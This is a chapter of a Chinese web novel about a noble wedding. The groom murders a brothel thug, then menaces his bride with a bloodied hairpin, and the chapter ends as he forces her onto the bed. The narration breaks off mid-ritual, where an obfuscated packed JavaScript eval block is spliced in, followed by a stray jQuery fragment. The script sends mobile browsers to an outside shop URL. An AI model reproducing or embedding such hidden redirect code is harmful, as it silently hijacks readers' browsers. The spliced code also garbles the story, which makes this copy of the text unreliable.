喜筵进行到了末尾,筵上最后环节便是双方母亲上堂点喜烛。
承恩侯府上堂的是主母萧嫱,与丹阳王妃各执火折,共同点亮喜烛。
堂下喜婆又喊:“红烛高烧,喜字双双,佳偶天成,良缘夙缔。”
筵上来宾举起酒杯齐呼:“恭祝世子与世子妃永结同心,百年好合乐无边!”
至此,喜烛亮,香火递,珠联璧合,白首契。
新嫁娘早在行完拜堂礼后便被送至了新房,而新郎君则要留在喜筵上敬酒。顷之,天色渐渐暗了下来,也到了新婚夫妇共饮合卺酒的时刻了。
却不见了新郎君的身影。
城东的废巷里,新郎君正蹲身用指腹在剑身上来回描摹。因着今儿是丹阳王府办喜事,所以城东一隅的大树上皆绑满了红绸带,巷中本是装潢艳丽的楼阁已经变得破瓦颓垣,楼阁内的人早已四散逃窜,正上方的‘窑楼’牌匾正斜斜地挂着,檐上的大红灯笼在残风中摇摇欲坠。
有刀刃穿破皮肉的“噗嗤”声传来,温热的鲜血瞬间迸溅而来,将新郎君的袍角洇成暗红色。
那人拿着匕首毫不犹豫地刺穿了自己的手背,匍匐着向前求生:“世子!是小人有眼不识泰山,冒犯了世子妃,小人今日自毁双手,求世子饶小人一命!”
正是那夜勒索宁扶摇的窑楼大汉。
谢同裳“啧”了声,很是嫌弃地盯着那沾了血的袍角。
那大汉愈发害怕,他身后是一片密密麻麻的尸体,他们都是窑馆里的侍从,躺在其中的有个胸口被一剑贯穿的正是他的主人。
他突然像是想起了什么,连忙从衣裳里掏出来一个物什,上头的宝石在月光下发出熠熠的红光,宝石的纯金基座侧方悬挂着几缕流苏,随着他的动作发出叮叮当当的声响,正是宁扶摇那日扔给他的红宝石珠钗。
他膝行上前,恭敬地用血肉模糊的双手将珠钗捧给谢同裳,哆哆嗦嗦道:“世…世子,这是那日世子妃施舍给小人的,小人把它归还给世子妃,求…求世子饶命!小人定会连夜离开京城,永远从世子和世子妃眼前消失!”
“永远?”黑夜中看不清谢同裳的神情,有风肆虐而过,将檐上的大红灯笼吹出投影,红色的光斑正在他侧脸微微抖动着。
谢同裳伸手接过了那上头染了血的红宝石珠钗,他执剑站起身来,从那大汉的视角往上仰看,只能看见他的下颌和唇。
他说:“可惜,你弄脏了我的喜服。”
他执剑的手没有任何犹豫,直接照着那大汉的脖颈一剑封喉,跪在地上的大汉瞬间捂着脖子仰倒下去,死不瞑目。
*
朱紫色的锦毯一路从正大门铺展至后院。
葳蕤院是谢同裳居住的院落,从檐角到廊下再到寝居皆结搭着鲜红的花饰和红绸,寝居外两侧檐角正悬挂着两盏球形大红灯笼,包裹在灯笼外头的绢上有用金粉写上的双‘喜’字,夜风吹拂,内里的烛火也随之歪歪地跳动着。
宁扶摇已经在新房端坐了整整快两个时辰了。
“诶你瞧见了吗?”外头有过路的婢子说话声传来。
“什么?”另一个婢子问道。
“盖头呀!你瞧见没,世子妃今儿绣的盖头,那凤凰绣得跟小鸡仔似的。”
闻言,另一个婢子忙打断道:“你这话也敢说,不要命啦!”
新房内端坐的新娘子:“……”
想起昨夜那红盖头上的凤凰针角,她忍不住笑了声。
寝居的角门被人推开,有小丫鬟蹑手蹑脚地走进来,宁扶摇隔着一层红布,也知道来人是谁。
芳菲脚步有些急,她行到塌边,贴近宁扶摇耳语道:“姑娘,世子不见了。”
“什么?”宁扶摇一把掀开了红盖头。
又出意外又出意外!
这婚到底还能不能结了!
屋外有脚步声渐进,宁扶摇和芳菲相互对视一眼,立刻重新将红盖头覆上,又恢复了方才的端庄坐姿,芳菲也悄无声息地从后面的角门退了出去。
房门被推开,有人走了进来。
宁扶摇的视线始终平视着前方,推门而来的是一方高大的身影,红盖头有些厚重,因此只能瞧见来者的一点轮廓。那人脚步未停,正一步,一步地向她走来。
直到她能低眸瞧见那双大红足靴。
“久等了,我的世子妃。”熟悉的声音响起,是谢同裳没错。
还有,好浓,好浓的血腥味。
所以在他消失的时间里,他是去杀人了吗?
宁扶摇心中腹诽,洞房花烛夜去杀人,谁又惹了他了?
门外又是一道接着一道的脚步声,喜娘正提着裙子往这处跑,身后跟着丹阳王府的女婢,还有丹阳王妃身边的嬷嬷,甚至还有太子。
“哎哟喂我的世子爷诶,您这可真是叫奴家们好找。”喜婆喘着粗气说道。
太子也在一旁道:“新娘子这般貌美,新郎官急了些也是人之常情。”
谢同裳闻言忍不住眉心一拧,只觉胸口下方浪潮翻涌,他转过身,盯着太子李泱那张讨打的笑脸,不紧不慢地道:“劳殿下关心,只是殿下身为太子,却不知在华京天子脚下有人开设暗娼馆,你说,陛下和朝臣会怎么想?”
嗯嗯?暗娼馆。
红盖头下新娘子敏锐地捕捉到信息,一双眼眨巴了一下。
太子闻言顿时收起了笑容,正巧身边长随焦急地跑了过来,附在他耳旁说了些什么,这下才真是面色大变。
谢同裳轻蔑地笑了声,往门口走,伸手将太子往外推了推,奉劝似地道了句:“想来太子殿下是有要紧事处理了,您且去吧,至于臣的新娘子,殿下就别看了。”
太子抬眼深深看了他一眼,眼中情绪很明了。他挺正了腰板道了句:“世子可要和世子妃百年好合啊。”
随后,便带着身边侍从急步离开。
正在一旁观赏了全程的喜娘有些胆颤地抬了抬手中地东西,开口道:“世子,该挑盖头行合卺礼了。”
谢同裳转头笑道:“有劳了。”
于是乎伸手取过喜娘托盘上的喜称,朝塌上的新娘子行去。
“吉时到,请新郎君掀红盖头。”
随着喜婆的宣喊,他长臂一伸,手中的喜称自下而上挑开了新嫁娘的红盖头。
顿时,一张极其漂亮的芙蓉面显露在眼前。
她今儿的妆上得早,到了晚间,也只是口脂糊了点儿,喜房内烛火燃烧下,暖黄的光将她的眉眼韫色地像是入了画,额间的凤尾花开的花钿好似也活了般,果真的漂亮得动人心魄。
饶是喜娘,也不禁怔愣了几秒才道:“上福禄!”
谢同裳伸手握住宁扶摇的手,将人从塌上牵起,一同往喜房中央入座。
有女婢从两侧呈上一对白玉丹凤玉合卺杯和一壶喜酒,谢同裳执起酒壶,清白色的酒水分别倒入杯盏中。
新人执酒杯,同时朝对方倾身,两臂交缠间,酒水入口,合卺礼成。
又有婢子呈上一把龙凤剪和喜字锦囊。新人相互为其剪下一束头发,一并将其放入锦囊之中。
“请新郎新娘,同执红绳!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213875|151137||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
新人同时伸手,分别握住红绳两端,一同将其缠上锦囊封口。自此,丹阳王世子谢同裳和承恩侯府宁扶摇便是真正的结发夫妻了。
“缘订三生,白首成约,今朝合卺,永以为好。珠联璧合映红妆,喜结良缘共举殇!”
“愿为双飞鸿,百岁不相离。”
“礼成——”
喜娘和婢女们一同跪下行礼道:“恭贺世子,世子妃大喜!”
“嗯”谢同裳笑道:“朔风,赏。”
喜娘和婢子们依序领了赏赐后,便再次福身退了一下,临走前还贴心地为他二人阖上了门。
一时间,屋中只剩下他们二人。
宁扶摇正欲站起身与他说话,肩膀却被一只大手用力的压了下去,坐回了凳上。
宁扶摇下意识惊呼:“你这是……”
“做什么”三字还未来得及说出口,便被他接下来的动作给硬生生地咽了回去。
谢同裳左手掌心里不知何时多了一把簪子,眼下那把簪子的长针正抵在她脖颈未大好的红痕上。
趁这个间隙,她也瞥见了那簪子上头正中的红宝石,其上坠落的流苏正飘飘摇摇地垂打在她颈项的皮肤上。
冰冰凉凉的,还带着刺痛。
她下意识地抬眼去看谢同裳,却被颈间的刺痛感痛得又转回了脖子。
【警告!警告!检测到终极反派谢同裳对你的好感度下降为-5%,出现负值,请宿主注意生命安全,尽快拨乱反正。】
宁扶摇:“?”
不是吧,前些天不是才刚提上去吗!
现在的男人变脸怎么比翻书还快!
簪子的长针似乎是刺破了她的皮肤,新旧伤相叠,她疼得只冒冷汗,脱口而出就是一句:“嘶……疼……”
他的力道未减,惜命的宁扶摇也不敢轻举妄动。
两人僵持了会儿,脖颈上的被尖头抵住的锐痛感才消了几分。那把簪子被递在她眼前,头顶上方有郎君沉沉地声音传来。
“这个簪子,世子妃眼熟吗?”
是那日夜里她随手扔给窑馆之人的红宝石簪子。
但上头的红宝石已经碎裂了一角,簪头尖上还在滴血,根本不用想,那就是她的血。
虽承接了男人的反常,但她并不感到害怕,她脑中将谢同裳与太子说的话,还有他身上浓重的血腥气息全部串联起来,登时便抬眸道:“所以,在入新房之前,你真的是去杀了人。”
杀的还是那窑馆中人。
谢同裳将发簪插入她的发鬓,双手摁住她的肩头,俯身贴近道:“这份新婚礼,世子妃不喜欢吗?”
宁扶摇想和他同归于尽。
谁家好夫君送礼,是拿簪子往人脖子上戳?
还是往她的旧伤上戳!
但为了任务,她还是忍下了这口气,面上带笑,隐隐咬着牙道:“喜欢,当然喜欢,我哪敢不喜欢呢。”
果真是本世界的终极反派,敢情成婚前都是装的!
这搁现代,就是妥妥的骗婚!
突然又是一阵似曾相识的失重感袭来。
谢同裳一手握住她的腰身,另一手抄过她的膝弯,将她一把抱了起来。
然后是朝床榻的方向走去。
宁扶摇顿时瞪大了眼:“谢同裳,你干嘛!”
行至床前,他大手一挥,将床榻正中的桂圆花生悉数拂在了地上。
谢同裳将宁扶摇面朝上放下,带着强制的侵略性,压制着她。
“自然是与我的世子妃,洞房花烛。”